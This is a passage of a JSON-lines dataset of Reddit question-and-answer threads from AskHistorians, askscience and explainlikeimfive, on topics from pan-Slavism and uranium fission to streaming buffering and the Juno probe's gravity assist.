{"q_id": "1xzeic", "title": "Why does Slav identity seem to be a thing? Where does it come from? Other similarly broad linguistic groupings don't seem to have such a strong common identity.", "selftext": "Slavic identity seems to much stronger than something like Germanic identity or Romance identity or another similarly large group of related languages.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1xzeic/why_does_slav_identity_seem_to_be_a_thing_where/", "answers": {"a_id": ["cfg1vmb", "cfg2b8p", "cfg2iz5", "cfg4t4d"], "score": [18, 137, 100, 22], "text": ["Related question: Does the strength of Slavic identity vary based on linguistic and religious factors. Some Slavic-speakers are Orthodox, some aren't. Some speak languages that are mutually intelligible with Russian, some don't.  How much do those divisions matter?", "This question has many different facets that need to be considered. \n\n1) is there such a thing as Slavic identity ? \n\nWell... Yes and no. \nYou'll find that people from different Slavic subgroups kinda have the same identity (ex. Russians, Ukrainians, Belarussians ; or the Yugoslav peoples ; or the Polish, the Silesians and the Tcheques ; for example), but if you take them all together, it really doesn't work (see Polish vs. Russians for example, they 'hate' each other more than the Germans and the French hate each other.) \n\n2) Where does it come from ? \n\nIt is often thought to have originated from a stream of thought called 'panslavism', a philosophy which was later espoused by the Czars around the second half of the 19th century, and used as a justification for expansion into Central Europe. \n\n3) what were its effects ? \n\nThe most known consequence is probably the 1st world war. Russia's alliance with Serbia was pushed by the panslavic movement, and thereby partially caused WWI. \n\nSome reading on this subject : \n\n_URL_0_\n\nNicholas Valentine Riasanovsky, A History of Russia, p. 450, Oxford University Press US, 2006, ISBN 0-19-512179-1.\n\nA. Grigorieva Pan-Slavism in Central and Southeastern Europe // Journal of Siberian Federal University. Humanities  &  Social Sciences 1 (2010 3) 13-21. [2]", "This question is a little peculiar, because it's very difficult to measure \"a sense of identity\" in a meaningful way.   While [Pan Slavism](_URL_1_) is (or was) definitely a thing, non-russian Slavic ethnicities like Poles and Ukranians would definitely dispute any assertion that they are Slavic before they are Polish or Ukrainian, and there's definitely a history of enmity between them and Slavic Russians.\n\nGoing beyond that, [this is a decent overview of the idea of Slavic identity and it's connection to Pan Slavism](_URL_2_) it cites a number of more details sources.  \n\nThat source ties pan-slavism to the aftermath of the napoleonic war, and the desire of various slavic groups within eastern Europe to have independence.    However, the movement was never really that cohesive because the poles didn't trust the Russians, the slovak groups were strongly aligned with the Austro-Hungarian empire against the Russians, and the Balkan slavs did align with the Russians against the Austro-Hungarian Empire (which, incidentally, led to the spark that ignited WWI). \n\nSeparately, it is important to note that Imperial Russia deliberately pushed the idea of pan-slavism to further Russian  Imperial ends.  That is, both liberating Slavic peoples to join the Russian empire, and encouraging the orthodox faith to spread in the same areas.   You see this most strongly in Russian support of Serbian slavs, and Russian campaigns against the Ottomans. See also [The all Russian empire](_URL_0_)   The soviets co-opted this in some ways, in the way Russia came to be the primary player in the Soviet Union, although facially it was all covered up with socialist rhetoric. \n\nThat's not a very coherent answer, but just two thoughts on the idea of slavic identity. ", "I would question your premise.\n\nOther linguistic/ethnic regions do show a lot of attempts at creating a common identity.\n\nTwo easy counter examples are pan-Arabism and La Raza.\n\nPan-Arabism, although it's easy to forget now, was the driving force of politics in the middle-east in the mid-twentieth century.  Nasser was the most famous proponent of it, and pan-Arabism was one of the chief motivations for the ongoing Israeli/rest of the regions disputes. In 1958, the United Arab Republic briefly formed peacefully, showing more concrete progress towards pan-Arabism than a Slavic state has ever had. Post-1967, this has mostly been rolled back, but it's hard to make a case that pan-Slavism is really more of a thing than pan-Arabism was.  Most of these nationalist movements have their rises and declines, and some are successful.\nMartin Kramer has a good discussion here: _URL_0_\n\nAlso, you mention Germanic identity, but doesn't Bismark really put that statement in question?  There isn't a push towards a pan-Germania because Bismark already accomplished it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Pan-Slavism"], ["http://en.wikipedia.org/wiki/All-Russian_nation", "http://en.wikipedia.org/wiki/Pan-Slavism", "http://books.google.com/books?id=Y5zTkGKy4wEC&amp;pg=PA660&amp;lpg=PA660&amp;dq=Russian+empire+slavic+people&amp;source=bl&amp;ots=Uj0I_6MSEf&amp;sig=yj5Vnhn32m29zUeHJNgsXkHg_c8&amp;hl=en&amp;sa=X&amp;ei=M6b_UsqVGYqqyAGtuYG4AQ&amp;ved=0CGIQ6AEwCg#v=onepage&amp;q=Russian%20empire%20slavic%20people&amp;f=false"], ["http://www.martinkramer.org/sandbox/reader/archives/arab-nationalism-mistaken-identity/"]]}
{"q_id": "bxevrh", "title": "Is there a chemical you can spontaneously inject into the muscle tissue and have someone immediately pass out like Hollywood shows?", "selftext": "I thought for an intravenous injection to work/have rapid onset it had to be... intravenous?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/bxevrh/is_there_a_chemical_you_can_spontaneously_inject/", "answers": {"a_id": ["eq7ubwf", "eq91mt9"], "score": [11, 5], "text": ["There are medications that can be used for 'rapid tranquilisation'. These can be given IM and, as the term suggests, can cause tranquilisation. Examples are lorazepam, haloperidol and promethazine. Their effect isn't immediate, it can take minutes.", "Not in the way depicted. Chloroform on a rag will do that, but it's not injected. Various anesthetics like Propofol will drop you in like 20 seconds, but that needs to be injected into a vessel to work, and the dosage is so particular that if you're off by a small amount, the person being injected will either die from their lungs stopping or just get a little woozy and tired.\n\nRealistically speaking, it's impossible. The few drugs that do work that way need to be injected into a blood vessel in order to get to their target quickly. As a certified phlebotomist, I can tell you that nailing a vein on someone who may not want a needle while under pressure is not possible without help holding the person still. \n\nAn intramuscular or subcutaneous (into the fat) injection simply wouldn't get where it needs to be quickly enough. Muscles and fatty tissue acts like a slow-release mechanism. Once the drug has been injected, it gradually diffuses into the surrounding capillaries. It makes the effects of a drug last longer, but they are consequently weaker and take longer to kick in."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3r0crm", "title": "Does gradual cold exposure(cold showers, ice baths,etc.) Increase your blood circulation over time?", "selftext": "It seems to spike your metabolic rate, at least that is what I heard. Anyone know if it helps with blood circulation as well?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3r0crm/does_gradual_cold_exposurecold_showers_ice/", "answers": {"a_id": ["cwk5wzl", "cwk8f34"], "score": [34, 15], "text": ["It most certainly does. The reason why your metabolic rate increases, is because your body is trying to keep as warm as possible, (through pilo erections (goosebumps) and minute muscle contractions. This all requires ATP, and produces heat. So your metabolic rate tends to increase. When you're exposed to the cold, your body loses heat to the environment, this heat is lost from the blood. E.g, blood that leaves the heart at 37 degrees, may arrive back at the heart at 36.8 degrees for example. Therefore it follows that circulation of blood may increase, to make up for this loss of heat and to keep on providing constant heat to your body parts. All of these activites require alot of energy, and the body has to withdraw resources from other sectors \"hypothetically\". This is why you can get sick when you are exposed to the cold. Your body uses all of it's energy to maintain homeostasis leaving little else for immune response. However, this increase in circulation can only be sustained for a short period of time, If this cold temperature is maintained for long enough, the bodies primary energy sources are depleted and it then one becomes hypothermic, and a couple of fingers fall off, and that sort of thing. ", "Just a note: If your blood circulation is bad because you have a bad heart or bad and clogged blood vessels to other parts of the body, then please, please don't take cold showers/ice baths to improve them. Not going to happen and very dangerous for people with these kind of conditions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2ymkt7", "title": "how do we not drown in our own saliva while we sleep?", "selftext": "Do we swallow in our sleep? I just never recall seeing someone sleep swallowing.. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ymkt7/eli5_how_do_we_not_drown_in_our_own_saliva_while/", "answers": {"a_id": ["cpaxwr3", "cpazd4d"], "score": [3, 3], "text": ["You may not notice it yourself but people do in fact \"sleep swallow\". Just like your brain subconsciously knows to breathe when you sleep, the same  goes for swallowing. In fact its the same part of the brain as it is a coordinated effort so that you do not breathe at the same time that you swallow.", "Saliva production significantly decreases while you sleep.\n\nThis is what causes \"morning breath\" and makes you need to brush your teeth even though you theoretically haven't eaten anything. Little saliva means more bacteria production and therefore bad breath.\n\nBut that's a different topic. What little saliva does get produced, either leaves the mouth via drool, or does get swallowed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2ioodp", "title": "how do the people who swim in and consume water from the ganges river not get terribly sick?", "selftext": "Considering the decomposing bodies, waste and pollution?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ioodp/eli5_how_do_the_people_who_swim_in_and_consume/", "answers": {"a_id": ["cl40b4t", "cl41l7r"], "score": [20, 8], "text": ["swimming in, consuming, and cooking with water from unprotected and/or unimproved sources does cause illness and death for millions of people around the world each year, including those along the Ganges.  \n\nThe World Health Organization estimates that more than 3 million people per year die from illness related to water and hygiene.  ", "I watched a documentary on it once. Needless to say I'm no expert on the matter.  \n\nAs I understand it, constant exposure to the horrific amounts of bacteria and detritus in the river either kill you early on, or keep your body's   immune system on super high alert for many of the specific contaminants, toxins and bacteria in the water. \n\nIn this film, I watched a small child bath and BRUSH THEIR GODDAMN TEETH about 30 feet downstream from numerous dead animals, including human corpses. \n\nI'm sure someone with some actual scientific, accurate knowledge will be along shortly, but the adage \"whatever doesn't kill you, trains your immune system to defeat dead baby germs and diseased fecal matter rather quickly\" seems to work for me. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1p5i6z", "title": "how do national and local advertisers syncronise their ads so they never cut into national tv broadcasts?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1p5i6z/eli5how_do_national_and_local_advertisers/", "answers": {"a_id": ["ccyzj88", "ccyzkpa"], "score": [2, 2], "text": ["In a given commercial break there are slots for national and local commercials - these are per-determined.  So local companies can sell commercials to their local people and they can decide if they want a specific time slot or for less money they can say \"run it between 6pm-10pm\" and the TV station slots it in where it fits around those who bought specific times.\n\nWhen the signal comes in the computer on the TV station side knows there is a break for a local commercial and inserts it into the stream.", "I worked in radio, but I am going to assume TV works the same way. There are certain \"spots\" where the network knows there is going to be a break. Take tonight's baseball game, At the top and bottom of every inning, the network is going to take a break. Some of these spots are sold by the network (Fox), some of the spots are sold by the cable company (Time Warner) and some are sold by local broadcasters (the station that airs Fox).\n\nSame thing works for TV series in addition to live broadcast there is a guy who checks the time on Brooklyn 99 and knows a commercial break is going to be taken at 7 minutes past the hour, 16 minutes past the hour, 22 minutes and 27 minutes. The networks send out the time card and I think with computers now days, will have a countdown to the spots. (In my day, we had to listen for a certain phrase.)\n\nAll of this is co-ordinated by a person who does \"traffic.\" No, not the guy in the chopper telling you about the backup on I40, but the person who controls the traffic that the station, cable company or network sends out. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "8rz9m8", "title": "\"relevance\" in search engines?", "selftext": "How does it work? How does a search engine determine which result is more \"relevant\"?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8rz9m8/eli5_relevance_in_search_engines/", "answers": {"a_id": ["e0vak8m", "e0vbbfg"], "score": [3, 2], "text": ["It's relevant by whatever algorithm the search engine provider says it's relevant. Which can be any weighted combination of:\n\n1) Page's self description aka meta tags\n\n2) page content itself. \n\n3) page popularity by number of hits\n\n4) page popularity by number of sites references\n\n5) page popularity by number of click thru's\n\n6) collected user browsing behavior data.  Aka you have a history of clicking on links to Pinterest but not Etsy.\n\n7) other magic voodoo\n\n\nAnd not to mention commercially paid sponsored placements\n", "That's the main secret that distinguishes the different engines, so we don't know exact algorithms, but in general it helps to know as much as possible about the site and about you. \n\nOf course it tries to match your search words to the content on the site. Site owners can (and should) help with this by describing what's on their site. Each page, paragraph, image, ... should contain some information of what it's displaying. Simply naming your image \"blue-car-rear-view.png\" instead of \"IMG_486541894.png\" already makes a difference. \n\nAn important metric that is used is the amount of traffic and links coming from other sites. If your company makes TVs, and all TV reviewers (which have high \"scores\" for TV keywords) write articles linking to your site, that will also improve your \"score\" for TV keywords. \n\nMost engines (not DuckDuckGo) use cookies to match your personal preferences. Through cookies they can store data. If you usually type \"buy x item amazon\", or always click to the same news site over the others, they will also appear more prominently. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "5jeq2u", "title": "Did people have period themed parties in other eras?", "selftext": "Similar to how someone today might have an 80's party, did parties from previous eras exist in the past? Or is that more of a modern concept?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/5jeq2u/did_people_have_period_themed_parties_in_other/", "answers": {"a_id": ["dbi87lw"], "score": [2], "text": ["We know that people were dressing \"historically\" for fancy dress balls and masquerades from the 18th century, with varying degrees of accuracy. Some may have been painted in the historical costumes that they wore to these balls, such as [the Honorable Mary Howard](_URL_0_), [Angelica Wharton](_URL_5_), [Lady Rachel Cavendish](_URL_2_), and [Sir William Lee](_URL_6_) (although it's difficult to be sure that these were costumes worn to balls rather than something chosen to sit for the portrait) - there was a very strong preference for the 17th century in these costumes, and it's possible that people were holding specifically Charles II-themed parties in Britain. Or Henri IV-themed parties in France, as a national revival of interest in the latter monarch happened with the accession of Louis XVI to the throne: [a fashion plate with late 16th/early 17th century costume](_URL_4_) in the *Galerie des Modes* has a caption stating that it was in great vogue \"during the balls of 1774, 1775, and 1776,\" and the rest of the text acknowledges the link a hopeful French people made between the two rulers.\n\nIn the 19th century, we have definite evidence of themed parties. Queen Victoria and Prince Albert once held a ball where they dressed as Philippa of Hainault and Edward III; the theme was \"chivalry\", and the guests were likely supposed to aim for the middle ages as well. This was some years after a tourney-reenactment had been held at Eglinton Castle in Ayrshire, Scotland, in which competitors and spectators dressed in an attempt at period costume.\n\n[*Fancy dresses described: or, What to wear at fancy balls*](_URL_3_) (first printed before 1880) specifically notes that \"Occasionally the hostess elects that her guests shall appear in costumes of a particular period ...\" and it seems to have been fairly common for staff and musicians to all be dressed uniformly for the mid-18th century. It was most common for costumed parties to be open to guests dressed in any period, though, or in any type of costume. However, it was *also* apparently common for hostesses to arrange for quadrilles to be danced by guests whose costumes fit a specific theme, which could be by period - the \"Holbein Quadrille\" (Tudor costume), \"Puritan Girls and Cavaliers\" (17th century), \"Poudr\u00e9\" (mid-18th century) - or something cute like policemen and nurses, people dressed as playing cards, birds, etc. \n\nI don't have as much information about the practice in the early 20th century. However, [here](_URL_1_) is a photograph taken at an 18th century-themed dinner party held by the DAR in Glens Falls, New York."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://artuk.org/discover/artworks/the-honourable-mary-howard-17101740-mrs-george-venables-vernon-171057", "http://chapmanmuseum.pastperfect-online.com/30796cgi/mweb.exe?request=record;id=71BF6FA2-8CBB-4B74-AF80-309803432426;type=102", "http://artuk.org/discover/artworks/lady-rachel-cavendish-17271805-countess-of-orford-172334", "https://books.google.com/books?id=byswAAAAYAAJ", "http://mimic-of-modes.blogspot.com/2012/11/galerie-des-modes-15e-cahier-3e-figure.html", "http://artuk.org/discover/artworks/portrait-of-a-female-member-of-the-st-john-family-65289http://artuk.org/discover/artworks/portrait-of-a-female-member-of-the-st-john-family-65289", "http://artuk.org/discover/artworks/sir-william-lee-17261799-4th-bt-mp-171007"]]}
{"q_id": "bgwsxc", "title": "what makes sensitive skin (that requires sensitive skin soap/lotion) different from normal skin?", "selftext": "Is it an allergic reaction, changes in permeability, autoimmune, etc?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bgwsxc/eli5_what_makes_sensitive_skin_that_requires/", "answers": {"a_id": ["elo3tji", "elo5gej", "elod9st"], "score": [3, 7, 3], "text": ["It's basically the equivalent of an allergic reaction. Usually to the fragrances added to soaps and shampoos. That's why you'll see a lot of the \"sensitive skin\" things without fragrances or dyes. There's just something in them that will irritate the skin of some.", "Skin has different layers. On the top, there is one layer kind of like a tiled roof made of skin cells and some extra stuff. This top layer can be relatively sealed or have cracks like a bad roof. With a leaking outer layer, your skin can't hold on to moisture as well as with a tight layer, thus you lose moisture fast, causing the skin to be dry and, therefore, more irritable. Also stuff can get through more easily, so irritants (alcohol, fragrances) might have a bigger effect.", "It depends. It may be an allergic reaction for some. For others, with chronic conditions like eczema or psoriasis, it is an autoimmune reaction."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3hqmap", "title": "why does anime attract so many autistic people(honest question)", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3hqmap/eli5_why_does_anime_attract_so_many_autistic/", "answers": {"a_id": ["cu9nkow", "cu9sgmj"], "score": [60, 3], "text": ["Simple and easy to read exaggerated facial expressions. A huge part of autism is not being able to read expressions well but when people have faces that are just giant eyes and everything is so over the top it gets much much easier to read and much more understandable. ", "Bright and flashy, able to have over the top easy to understand story, as another person stated; easy to read facial expressions, and anime is enjoyable "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9d1k3b", "title": "why does tv (usually) come through so clean and consistently while streaming on wifi tends to cut out and buffer more often?", "selftext": "Half the time I watch baseball on TV, other times I stream it. The TV feed is so consistent and smooth, but sometimes the internet cuts out and I have to reload the page. I understand the general gist of why this happens, but a thorough explanation would be appreciated!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9d1k3b/eli5_why_does_tv_usually_come_through_so_clean/", "answers": {"a_id": ["e5eqxfs", "e5ervdo", "e5eu78f", "e5f70ve", "e5f8v1a"], "score": [2, 27, 5, 6, 2], "text": ["Sometimes the limiting factor on steaming is not your down load speed but the upload speed at the other end. Often a streaming content provider will be come overloaded with demand. Think Netflix after 7 pm on the West Coast.\nUsers like me on the East Coast are still watching and people on West add to the demand.\nTV watching using cable is probably being feed using a very different set of systems where the bandwidth is not being divided in the same way. ", "Television and internet streaming videos are entirely different forms of transmission.\n\nTV signals are just broadcast and sent everywhere at once, no matter if you're watching it or not.\n\nStreamed videos are like any other thing you do on the internet - requests are sent from your computer to the server, who then replies with the data.  If there are bottlenecks anywhere along the route between your client and the server, then packets may start to get lost, have to be resent.    This is what causes the stuttering and buffering.", "The source of your video that sends the stream to your devices is different. The TV networks have pretty vast and redundant networks to provide excellent coverage with minimum loss of information.\n\n Let's assume cable tv, which can easily boost and repeat signals throughout the entire neighborhood with a single local distribution box to provide high quality content error free.\n\nYour TV recieves a continuous and near perfect quality signal by cable without any interpretation, beyond the standard format and display processing.\n\nStreaming from a server is different, there's no Dedicated streaming channels or midpoint signal cleaners and boosters. Just a signal originating from a server that must pass through multiple devices to get to your house.\n\nEvery device is independently controlled or operated by it's Algorithms and will not prioritize your message. Instead there's juggling as multiple paths are available and devices oscillate from busy to available for your use. Generally it's fast enough, but a busy night can tax the server or strain the major connection points between you and the server.\n\nGetting close to home, the wifi is a changed medium and both slower as well as more error prone. The stream hopefully gets recieved okay... but the overhead of getting here and piecing together information leaves mixed results. Sometimes stuttering from constant buffering... sometimes missing details or strange artifacts throughout the video. Depending on the service, you might be processing two streams for redundancy checks and quality or buffering a single stream constantly,  while others just stream and you hope it's well enough.", "The TV data is being thrown into the sky with so much power that everyone can pick it up.\n\nYour streaming data is meant just for you, so comes trickling down the wire.", "Broadcast TV is like drinking water from a garden hose. A constant unstoppable flow, all you need to do is open your mouth.  Streaming is more like chugging bottles of water, each bottle only has a portion of the show, and as long as you switch them fast enough you can get the same amount of water. But, if you drop a bottle, or run out of bottles, your flow will be interrupted. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "3ffmgi", "title": "Why does U-235 split easier than U-238? U-238 has 3 more neutrons, shouldn't it be more unstable?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3ffmgi/why_does_u235_split_easier_than_u238_u238_has_3/", "answers": {"a_id": ["cto5tj7", "ctoauoe", "ctogrey"], "score": [38, 8, 8], "text": ["Nuclear stability isn't as simple as \"more stuff, less stable.\" The nucleus has a [shell structure](_URL_0_) similar to that of the atomic shell model. Uranium-235 (half-life of 703.8 million years) turns out to be less stable than uranium-238 (half-life of 4.468 billion years).\n\nSo in a sense, U-235 \"wants\" to decay more than U-238. [Here](_URL_1_) you can see a graph of the cross section (probability) of fission for U-235, U-238, and Pu-239 as functions of neutron energy. As you can see, no matter what energy the incident neutron has, U-235 is always more likely to fission than U-238. In fact, U-238 can only fission in the presence of fast neutrons, whereas fission of U-235 in reactors relies on thermal neutrons.", "To determine if a nucleus is stable, you have to take a few things into account. One of them is the protons having positive charges, causing a repulsive potential.\n\nThis is counteracted by the strong interaction of the nucleons. Since neutrons do are not electrically charged, more neutrons cause an attraction by interacting strongly without repelling the protons electrically.\n\nThe reason why more neutrons do not automatically cause a more stable nucleus is basically the Pauli principle which results in only one proton/neutron being able to be in the same state because they are fermions. Thus, the more nucleons you have, the more different states you have got to fill and the more energy you need, resulting in an unstable nucleus.\n\nFurthermore taking into account nucleons having two possible spins and using a hydrostatic model to approximate the strong interaction, you get the [Bethe-Weizs\u00e4cker formula](_URL_0_) with empirical values for coefficients to calculate the binding energy per nucleon. This mostly determines the stability of the nucleus, not taking into account magical numbers.\n\nTL;DR: Strong interaction is a thing.", "With respect to fission the odd-number nuclei split more easily than even-number ones. Nuclear stability is actually fairly complicated, but in general nuclei like Pu-239 U-233 and U-235 split more easily than even number ones, like U-238 and Pu-240.\n\nThere is no easily obvious way to explain why this is so, but a good way to think of it is that even nuclei are more \"balanced\". Whay actually happens is that the complex interplay of forces in a nucleus tend to cause their constituent particles to form pairs, according to their magnetic moments. In the odd number nuclei this pairing cannot be perfect, and as it turns out, that makes them less stable. A more thorough explanation requires analysis of the quantum energy levels, which depend on fairly complicated interactions between the particles in a nucleus. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://hyperphysics.phy-astr.gsu.edu/hbase/nuclear/shell.html", "http://www.world-nuclear.org/uploadedImages/org/info/Nuclear_Fuel_Cycle/crosssection.gif"], ["https://en.wikipedia.org/wiki/Semi-empirical_mass_formula"], []]}
{"q_id": "1dpbx2", "title": "When Caesar crossed the channel to Britain, what did he expect to find there? What did the Romans know of the Isles at that time?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1dpbx2/when_caesar_crossed_the_channel_to_britain_what/", "answers": {"a_id": ["c9sni1t", "c9sxrvw"], "score": [35, 4], "text": ["[Luckily, he told us.](_URL_0_) Starting with chapter 12.\n\nThe basic sense is that they were like the Gauls, just a bit less \"civilized\", which is fairly close to what we would say. He also correctly identified a distinction between the southeast (or \"Belgic\") and the rest, although he distorts and exaggerates the details.\n\nAs for how he received his information, he was in contact with Roman merchants who had been there, but more importantly he almost certainly received the bulk of information from Gallic allies or prisoners. Before he crossed he had faced some British allies of his enemies in Gaul, so he could have a pretty good idea of what was going on, and the distortion could indeed have been from his captives, who may not have known much about the \"wild\" tribes in the interior.\n\nEDIT: Caesar specifically mentions merchants as a source of information, but notes they didn't really know much.", "OP, you may be interested in this book I'm currently reading: *In Northern Mists - Arctic Exploration in Early Times* (1911) by [Fridtjof Nansen](_URL_6_) at the request of the Royal Geographical Society; you can read it online [here](_URL_2_). This book is basically the history of every development in the exploration of the north; the gradual discovery of Britain by Mediterranean people is included in chapters 1-3, until Caesar arrives on page 80.\n\nBasically, Cornwall was hazily known since the Bronze Age as a [source of tin](_URL_5_), which was imported into the Mediterranean to make bronze. \n\nSketchy knowledge  &  misinformation trickled in over the centuries. *[Massaliote Periplus](_URL_3_)*, a merchants' manual from 6th century BC, mentions sea routes along the coasts of  Ireland and Britain. An early explorer to report about Britain was [Himilco](_URL_1_) during the 5th century BC (\"Two days\u2019 voyage from thence lay the great island, which the ancients called \u2018the Holy Island,\u2019 and it is inhabited by the people of Hierne [i.e., Ireland] far and wide, and near to it again extends the island of Albion.\"), but the biggest contributor to the knowledge of the geography of Britain was [Pytheas of Massalia](_URL_7_), who made one or more exploratory expeditions (ca 325 BC) all the way to Norway and the Baltic, circumnavigating Britain along the way. (As an aside, I see that the Wikipedia article makes liberal use of Nansen's book, lifting whole sections without crediting it.) The two great tragedies of his discoveries are (1) his account is long lost, and (2) later references to his accounts (Strabo's *Geographica*, Pliny's *Natural History* and Diodorus of Sicily's *Bibliotheca Historica*) think his story is preposterous, so make every effort to discount him.\n\nEdit: Here's the [relevant chapter](_URL_8_) of Strabo's *Geographica*\n\nEdit 2: Here's the [relevant chapter](_URL_9_) of Pliny's *Natural History* \n\nEdit 3: Here's the [relevant chapter](_URL_4_) of Diodorus of Sicily's *Bibliotheca Historica*\n\nEdit 4: added *Massaliote Periplus*\n\nEdit 5: Here's a [poem](_URL_0_), Avienus' *Ora Maritima*, based on the *Massaliote Periplus*; the last verse mentions the English Channel: \"The Hiberian land and harsh Ligurians are divided by its chanel.\""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://classics.mit.edu/Caesar/gallic.5.5.html"], ["http://fjor.net/etome/grecoroman/avienus-iberia.html", "http://en.wikipedia.org/wiki/Himilco", "http://www.gutenberg.org/files/40633/40633-h/40633-h.htm", "http://en.wikipedia.org/wiki/Massaliote_Periplus", "http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Diodorus_Siculus/5B*.html", "http://en.wikipedia.org/wiki/Mining_in_Cornwall_and_Devon", "http://en.wikipedia.org/wiki/Fridtjof_Nansen", "http://en.wikipedia.org/wiki/Pytheas", "http://penelope.uchicago.edu/Thayer/E/Roman/Texts/Strabo/4E*.html", "http://www.perseus.tufts.edu/hopper/text?doc=Perseus%3Atext%3A1999.02.0137%3Abook%3D4%3Achapter%3D30"]]}
{"q_id": "6egix7", "title": "Have we ever monitored the brain of a dying individual and if so were there any interesting phenomenon observed?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6egix7/have_we_ever_monitored_the_brain_of_a_dying/", "answers": {"a_id": ["dib3m38", "dib43js", "dibjjpa", "diacm7s"], "score": [4, 50, 10, 5], "text": ["I googled this for a bit but I am by no means an expert.\n\nTo summarize, just before death, it was expected that the brain would wind down and slowly stop, but the brain surges with activity. This study was [done on mice](_URL_0_) and also on [terminally ill humans](_URL_1_). Similar results were found in both cases. (The story about mice includes some crap about \"heightened consciousness\" but that is clickbaity, newspaper-selling bullshit.) You start to die, your brain goes haywire for a bit possibly due to a failure of whatever regulates your brain activity, and then it calms down and you pass away.", "If you're interested in  **Near Death Experiences**, [This PNAS study](_URL_0_) (on mice, not humans) may explain the phenomenon.\n\nIn summary: There are 4 stages of dying. CAS stands for Cardiac Arrest Stage.  \n\n* CAS 1 - Final heart beat to Final pulse of blood containing oxygen  \n- CAS 2 - Final oxygen containing pulse to \"Delta blip\" (short burst of Delta waves on EEG)  \n- CAS 3 - Delta blip to EEG recordings below 10 microvolts  \n- CAS 4 - Low voltage ( <  10uV) to no electrical activity  \n\n & nbsp;  \nWhat's interesting is that in CAS 3, there was an increase in synchronized gamma waves, indicating \n >  a highly aroused brain, and collectively, the data suggest that the mammalian brain has the potential for high levels of internal information processing during clinical death. \n\nGamma waves are EEG waves that are associated with wakefulness and conscious attention.\n\n > The return of these neural correlates of conscious brain activity after cardiac arrest at levels exceeding the waking state provides strong evidence for the potential of heightened cognitive processing in the near-death state\n\ntl;dr: Near Death Experiences may result from a burst of coordinated gamma waves which occurs after the blood is deoxygenated", "I am a clinical neurophysiologist and I have personally examined the continuous EEG (cEEG) records of about a dozen patients who have died during monitoring. These are generally patients who are critically ill before dying.\n\nMy observation is that there is steady deterioration of EEG prior to actual arrest, probably representing progressive decompensation and worsening cerebral perfusion even with a normal pulse, with flattening that occurs seconds to minutes or longer before arrest. I have not observed any gamma synchrony myself.", "Some light reading:\n\n_URL_0_\n\nAnd the paper it references:\n\n_URL_1_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://phenomena.nationalgeographic.com/2013/08/12/in-dying-brains-signs-of-heightened-consciousness/", "https://www.seeker.com/brain-waves-surge-moments-before-death-1764727850.html"], ["http://www.pnas.org/content/110/35/14432.full.pdf"], [], ["http://www.independent.co.uk/news/science/what-happens-die-brain-activity-life-heart-beating-death-after-eeg-study-research-a7620131.html", "https://www.ncbi.nlm.nih.gov/pubmed/28231862"]]}
{"q_id": "4r37z7", "title": "how did the juno satellite accelerate to 130,000 mph?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4r37z7/eli5_how_did_the_juno_satellite_accelerate_to/", "answers": {"a_id": ["d4xxy3i", "d4xy2qp", "d4xzgxo", "d4y56nx", "d4y5z2l", "d4y6d9w", "d4yf1st", "d4yfh4p", "d4ykicb", "d4yohsc"], "score": [20, 1784, 211, 19, 23, 261, 2, 8, 2, 22], "text": ["Juno did a gravity assist around Earth. Once it got to Perihelion it slowed itself down to do a 200+ mile flyby of Earth to gravity assist itself towards Jupiter. ", "It was launched from Earth and placed into an orbit around the sun that was between Earth's orbit and a point just outside the orbit of Mars. After close to 2 years, it performed a maneuver that aimed it back inwards toward Earth.  \n & nbsp;  \nThey aimed it in such a way that the Sun's and Earth's gravity would pull it faster and faster toward Earth. All orbits are a combination of falling toward a gravity source, and moving forward fast enough so that you miss hitting said source, but this particular orbit was tipped very much in favor of the falling side of things.  \n & nbsp;  \nIt's that fall and close flyby of Earth that gave Juno the extra acceleration to cruise on to Jupiter.\n\n[Edit: As /u/elite4koga points out [here](_URL_0_), the momentum gained by Juno was robbed off of Earth's motion. Because of the differences in mass between the two, that huge-ass acceleration decelerated Earth's own orbit around the sun ever so slightly.]", "They sling-shotted it around the earth. You send it up to space and then let it fall back down to the earth, but make sure it juuuuust misses. And then it gets flung back up, really fast, but the whole thing is timed to make sure it ends up where Jupiter is. ", "Can this method be used for 